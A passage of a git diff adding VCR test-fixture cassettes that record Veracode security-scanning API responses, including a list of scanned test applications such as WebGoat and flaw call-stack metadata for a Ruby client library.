+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:28:19 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:28:21 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:28:21 GMT
+recorded_with: VCR 2.9.3
diff --git a/spec/fixtures/veracode_cassettes/call_stack.yml b/spec/fixtures/veracode_cassettes/call_stack.yml
new file mode 100644
index 0000000..28c5012
--- /dev/null
+++ b/spec/fixtures/veracode_cassettes/call_stack.yml
@@ -0,0 +1,828 @@
+---
+http_interactions:
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/getcallstacks.do?build_id=44905&flaw_id=132
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '481'
+      Date:
+      - Tue, 27 Oct 2015 12:06:28 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905" flaw_id="132">
+        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="12" local_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103">
+        <call data_path="12" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple" line_number="455"/>
+        <call data_path="9" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="654"/>
+        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="653"/>
+        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="642"/>
+        <call data_path="6" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="638"/>
+        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="633"/>
+        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="627"/>
+        <call data_path="1" function_name="getParameterValues" line_number="198"/>
+        </callstack>
+        </callstacks>
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:06:29 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/getcallstacks.do?build_id=44905&flaw_id=132
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '481'
+      Date:
+      - Tue, 27 Oct 2015 12:07:48 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905" flaw_id="132">
+        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="12" local_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103">
+        <call data_path="12" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple" line_number="455"/>
+        <call data_path="9" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="654"/>
+        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="653"/>
+        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="642"/>
+        <call data_path="6" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="638"/>
+        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="633"/>
+        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="627"/>
+        <call data_path="1" function_name="getParameterValues" line_number="198"/>
+        </callstack>
+        </callstacks>
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:07:48 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/getcallstacks.do?build_id=44905&flaw_id=132
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '481'
+      Date:
+      - Tue, 27 Oct 2015 12:08:48 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905" flaw_id="132">
+        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="12" local_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103">
+        <call data_path="12" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple" line_number="455"/>
+        <call data_path="9" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="654"/>
+        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="653"/>
+        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="642"/>
+        <call data_path="6" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="638"/>
+        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="633"/>
+        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="627"/>
+        <call data_path="1" function_name="getParameterValues" line_number="198"/>
+        </callstack>
+        </callstacks>
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:08:48 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/getcallstacks.do?build_id=44905&flaw_id=132
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
